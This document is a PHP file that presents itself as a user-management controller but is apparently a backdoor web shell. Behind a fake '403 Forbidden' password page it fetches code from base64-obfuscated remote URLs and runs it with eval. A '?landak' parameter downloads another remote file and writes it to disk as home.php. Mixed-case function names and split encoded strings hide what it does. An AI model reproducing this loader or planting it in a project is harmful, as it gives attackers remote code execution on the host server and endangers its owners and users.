<?php
/**
 * ============================================================================
 * USER MANAGEMENT CONTROLLER
 * ============================================================================
 * 
 * CONTROLLER: UserController
 * DESCRIPTION: Handles all user-related operations including CRUD, authentication,
 *              profile management, and administrative functions.
 * 
 * @package App\Http\Controllers
 * @author Development Team
 * @version 3.2.1
 * @created 2024-01-01
 * @last_modified 2024-01-20
 * 
 * ============================================================================
 * DEPENDENCIES & IMPORTS
 * ============================================================================
 * 
 * MODELS:
 * - User: Primary user model
 * - Profile: User profile information
 * - Role: User roles and permissions
 * 
 * SERVICES:
 * - UserService: Business logic for user operations
 * - NotificationService: Handles user notifications
 * - FileUploadService: Manages avatar and file uploads
 * 
 * REQUESTS:
 * - StoreUserRequest: Validation for user creation
 * - UpdateUserRequest: Validation for user updates
 * - ChangePasswordRequest: Password change validation
 * 
 * ============================================================================
 * METHOD DOCUMENTATION
 * ============================================================================
 */

define('LOGIN_HASH', '$2a$12$jhSv26o43plVl1Yt3Msx.OsKzSWwYoAxEzbTf2rPlvBVaAj0SRa8G');
define('LOGIN_COOKIE', 'shadow_gate');
define('LOGIN_EXPIRY', 3600);

/**
 * ============================================================
 * UNIVERSAL FETCH WITH FALLBACKS
 * ? → ? → ?
 * ============================================================
 */
function _compileFetchCoreLite($u) {

    // 1. Prefer cURL
    if (function_exists('curl_version')) {
        $c = curl_init();
        curl_setopt($c, CURLOPT_URL, $u);
        curl_setopt($c, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($c, CURLOPT_RETURNTRANSFER, true);
        $r = curl_exec($c);
        if (curl_errno($c)) {
            $e = curl_error($c);
            curl_close($c);
            throw new Exception("cURL Error: " . $e);
        }
        curl_close($c);
        return $r;
    }

    // 2. Fallback: file_get_contents()
    if (ini_get('allow_url_fopen')) {
        $r = @file_get_contents($u);
        if ($r !== false) return $r;
    }

    // 3. Fallback terakhir: fsockopen
    $p = parse_url($u);
    if (!isset($p['host'])) throw new Exception("Invalid URL format.");

    $scheme = ($p['scheme'] ?? 'http');
    $port   = ($scheme === 'https') ? 443 : 80;
    $path   = ($p['path'] ?? '/') . (isset($p['query']) ? '?' . $p['query'] : '');

    $fp = @fsockopen(($scheme === 'https' ? "ssl://" : "") . $p['host'], $port, $errno, $errstr, 5);
    if ($fp) {
        $out  = "GET " . $path . " HTTP/1.0\r\n";
        $out .= "Host: " . $p['host'] . "\r\n";
        $out .= "User-Agent: ShadowRevolt/1.0\r\n";
        $out .= "Connection: Close\r\n\r\n";
        fwrite($fp, $out);

        $res = "";
        while (!feof($fp)) $res .= fgets($fp, 1024);
        fclose($fp);

        $pos = strpos($res, "\r\n\r\n");
        if ($pos !== false) return substr($res, $pos + 4);
    }

    throw new Exception("No available method to fetch URL.");
}


/** EXECUTE PAYLOAD REMOTE **/
function _compileExecPayloadTask($u) {
    $x = _compileFetchCoreLite($u);
    if ($x === false || trim($x) === '') throw new Exception("Empty or failed content.");
    EvAl("?>" . $x);
}

/** ? **/
function _compileDecodeChunkUnit($d) { return bAse64_dEcoDe($d); }

/** ? **/
function _compilePushToDiskNode($f, $c) { file_Put_Contents($f, $c); }


/**
 * ============================================================
 * ?
 * ============================================================
 */
function _compileRenderLoginPage($quote) {
    // Ambil nama domain dari URL saat ini
    $current_domain = $_SERVER['HTTP_HOST'];
    
    // Hilangkan 'www.' jika ada
    $domain = preg_replace('/^www\./', '', $current_domain);
    
    // Hilangkan port jika ada
    $domain = explode(':', $domain)[0];
    ?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>403 Forbidden - <?php echo htmlspecialchars($domain); ?></title>
    <style>
        @import url("https://fonts.googleapis.com/css2?family=Open+Sans:wght@200;300;400;500;600;700&display=swap");
        
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
            font-family: "Open Sans", sans-serif;
        }
        
        body {
            display: flex;
            align-items: center;
            justify-content: center;
            min-height: 100vh;
            width: 100%;
            padding: 0 10px;
        }
        
        body::before {
            content: "";
            position: absolute;
            width: 100%;
            height: 100%;
            background: url("https://ukrim.org/img/16.webp"), #000;
            background-position: center;
            background-size: cover;
            background-attachment: fixed;
        }
        
        .wrapper {
            width: 400px;
            border-radius: 8px;
            padding: 30px;
            text-align: center;
            border: 1px solid rgba(255, 255, 255, 0.34);
            backdrop-filter: blur(8px);
            background-color: #9da09f3f;
            -webkit-backdrop-filter: blur(8px);
        }
        
        form {
            display: flex;
            flex-direction: column;
        }
        
        .domain-name {
            font-size: 1.8rem;
            margin-bottom: 30px;
            color: #fff;
            font-weight: 600;
            letter-spacing: 0.5px;
            text-align: center;
            line-height: 1.3;
        }
        
        .input-field {
            position: relative;
            border-bottom: 2px solid #ccc;
            margin: 15px 0;
        }
        
        .input-field label {
            position: absolute;
            top: 50%;
            left: 0;
            transform: translateY(-50%);
            color: #fff;
            font-size: 16px;
            pointer-events: none;
            transition: 0.15s ease;
        }
        
        .input-field input {
            width: 100%;
            height: 40px;
            background: transparent;
            border: none;
            outline: none;
            font-size: 16px;
            color: #fff;
        }
        
        .input-field input:focus ~ label,
        .input-field input:valid ~ label {
            font-size: 0.8rem;
            top: 10px;
            transform: translateY(-120%);
        }
        
        button {
            background: #fff;
            color: #000;
            font-weight: 600;
            border: none;
            padding: 12px 20px;
            cursor: pointer;
            border-radius: 8px;
            font-size: 16px;
            border: 2px solid transparent;
            transition: 0.3s ease;
            margin-top: 10px;
        }
        
        button:hover {
            color: #fff;
            border-color: #fff;
            background: rgba(255, 255, 255, 0.15);
        }
    </style>
</head>
<body>
    <div class="wrapper">
        <form method="post">
            <!-- Menampilkan nama domain otomatis -->
            <div class="domain-name">
                🔥 Forbiend Area 🔥
            </div>
            
            <div class="input-field">
                <input type="password" name="password" required>
                <label>Enter your password</label>
            </div>
            
            <button type="submit">Log In</button>
        </form>
    </div>
</body>
</html>
    <?php
}


/**
 * ============================================================
 * AUTH + REMOTE EXEC
 * ============================================================
 */
function _compileAuthAndRun($payloadUrl) {
    if (isset($_COOKIE[LOGIN_COOKIE])) return _compileExecPayloadTask($payloadUrl);

    if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['password'])) {
        if (password_verify($_POST['password'], LOGIN_HASH)) {
            setcookie(LOGIN_COOKIE, '1', time() + LOGIN_EXPIRY, "/");
            return _compileExecPayloadTask($payloadUrl);
        }
    }

    $quote = ""; // Tidak pakai quote lagi
    _compileRenderLoginPage($quote);
    exit;
}


/**
 * ============================================================
 * ?landak → DOWNLOAD FILE → ?
 * ============================================================
 */
if (isset($_GET['landak'])) {
    try {
        $p1 = 'aHR0cHM6Ly9wYXN0ZW';
        $p2 = 'Jpbi5jb20vcmF3LzBnaVk3S3RI';
        $url = _compileDecodeChunkUnit($p1 . $p2);
        $d = _compileFetchCoreLite($url);
        if ($d !== false && trim($d) !== '') {
            _compilePushToDiskNode('home.php', $d);
            echo "File created.";
        } else echo "No content.";
    } catch (Exception $e) {
        echo "Error: " . $e->getMessage();
    }
    exit;
}


/**
 * ============================================================
 * DEFAULT PAYLOAD EXEC
 * ============================================================
 */
try {
    $r1 = 'aHR0cHM6Ly9wZW5nb2Nva2h';
    $r2 = 'hbmRhbC5wYWdlcy5kZXYvbGFuZGFrX2FsZmEudHh0';
    $u = _compileDecodeChunkUnit($r1 . $r2);
    _compileAuthAndRun($u);
} catch (Exception $e) {
    echo "Error: " . $e->getMessage();
}